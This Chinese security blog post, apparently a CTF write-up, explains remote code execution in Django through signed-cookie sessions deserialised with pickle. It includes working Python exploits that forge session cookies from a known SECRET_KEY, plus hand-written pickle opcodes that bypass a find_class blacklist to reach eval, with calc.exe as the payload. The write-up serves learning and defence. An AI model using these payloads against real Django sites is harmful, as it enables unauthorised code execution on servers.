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由Django-Session配置引发的反序列化安全问题

发表于:2023-10-19 16:22 作者: icfh 阅读数(2659人)

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。

  2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。

  3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。

  4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。

  5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. 'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。

  2. 'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
   """
  Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
  None, use settings.SECRET_KEY instead.

  If compress is True (not the default), check if compressing using zlib can
  save some space. Prepend a '.' to signify compression. This is included
  in the signature, to protect against zip bombs.

  Salt can be used to namespace the hash, so that a signed string is
  only valid for a given namespace. Leaving this at the default
  value or re-using a salt value across different parts of your
  application without good cause is a security risk.

  The serializer is expected to return a bytestring.
  """
   data = serializer().dumps(obj) # 使用选定的类进行序列化

   # Flag for if it's been compressed or not
   is_compressed = False

   # 数据压缩处理
   if compress:
       # Avoid zlib dependency unless compress is being used
       compressed = zlib.compress(data)
       if len(compressed) < (len(data) - 1):
           data = compressed
           is_compressed = True
   base64d = b64_encode(data).decode() # base64编码 decode转化成字符串
   if is_compressed:
       base64d = '.' + base64d
   return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值


# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
   """
  Reverse of dumps(), raise BadSignature if signature fails.

  The serializer is expected to accept a bytestring.
  """
   # TimestampSigner.unsign() returns str but base64 and zlib compression
   # operate on bytes.
   base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
   decompress = base64d[:1] == b'.'
   if decompress:
       # It's compressed; uncompress it first
       base64d = base64d[1:]
   data = b64_decode(base64d)
   if decompress:
       data = zlib.decompress(data)
   return serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class Signer:

   def __init__(self, key=None, sep=':', salt=None):
       # Use of native strings in all versions of Python
       self.key = key or settings.SECRET_KEY # key默认为settings中的配置项
       self.sep = sep
       if _SEP_UNSAFE.match(self.sep):
           raise ValueError(
               'Unsafe Signer separator: %r (cannot be empty or consist of '
               'only A-z0-9-_=)' % sep,
          )
       self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)

   def signature(self, value):
       # 利用salt、value、key做一次签名
       return base64_hmac(self.salt + 'signer', value, self.key)

   def sign(self, value):
       return '%s%s%s' % (value, self.sep, self.signature(value))

   def unsign(self, signed_value):
       if self.sep not in signed_value:
           raise BadSignature('No "%s" found in value' % self.sep)
       value, sig = signed_value.rsplit(self.sep, 1)
       if constant_time_compare(sig, self.signature(value)):
           return value
       raise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):

   def timestamp(self):
       return baseconv.base62.encode(int(time.time()))

   def sign(self, value):
       value = '%s%s%s' % (value, self.sep, self.timestamp())
       return super().sign(value)

   def unsign(self, value, max_age=None):
       """
      Retrieve original value and check it wasn't signed more
      than max_age seconds ago.
      """
       result = super().unsign(value)
       value, timestamp = result.rsplit(self.sep, 1)
       timestamp = baseconv.base62.decode(timestamp)
       if max_age is not None:
           if isinstance(max_age, datetime.timedelta):
               max_age = max_age.total_seconds()
           # Check timestamp is not older than max_age
           age = time.time() - timestamp
           if age > max_age:
               raise SignatureExpired(
                   'Signature age %s > %s seconds' % (age, max_age))
       return value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

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漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

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AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

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随后调用Django auth模块下的get_user函数和_get_user_session_key函数

image-20231009195847424

image-20231009200451030

随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

image-20231009200700904

image-20231009200837563

image-20231009200846377

loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

image-20231009201813801

漏洞利用

首先利用条件如下:

image-20231009113436367

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import os
import django.core.signing
import requests


# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
   """
  Simple wrapper around pickle to be used in signing.dumps and
  signing.loads.
  """
   protocol = pickle.HIGHEST_PROTOCOL

   def dumps(self, obj):
       return pickle.dumps(obj, self.protocol)

   def loads(self, data):
       return pickle.loads(data)


SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

class exp():
   def __reduce__(self):
       # 返回一个callable 及其参数的元组
       return os.system, (('calc.exe'),)

_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)

resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

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Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
   blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

   def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
       # Only allow safe classes from builtins.
       if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
           return getattr(builtins, name)
       # Forbid everything else.
       raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                    (module, name))


class PickleSerializer():
   def dumps(self, obj):
       return pickle.dumps(obj)

   def loads(self, data):
       try:
           # 校验data是否为字符串
           if isinstance(data, str):
               raise TypeError("Can't load pickle from unicode string")
           file = io.BytesIO(data)                     # 读取data
           return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
       except Exception as e:
           return {}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class Person:
    def __init__(self, name):
        self.name = name

# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)

# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")


# 可以设置default值
age = getattr(person, "age", 30)
print(age)

builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

image-20231010215502906

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')     # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

image-20231010214357341

查看Django.core.signing模块,复刻sign写exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64

PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'

SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"


def b64_encode(s):
   return base64.urlsafe_b64encode(s).strip(b"=")

base64d = b64_encode(PayloadToBeEncoded).decode()

def exp(key, payload):
   global salt
   # Flag for if it's been compressed or not.
   is_compressed = False
   compress = False
   if compress:
       # Avoid zlib dependency unless compress is being used.
       compressed = zlib.compress(payload)
       if len(compressed) < (len(payload) - 1):
           payload = compressed
           is_compressed = True
   base64d = b64_encode(payload).decode()
   if is_compressed:
       base64d = "." + base64d
   session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
   print(session)

然后传session即可。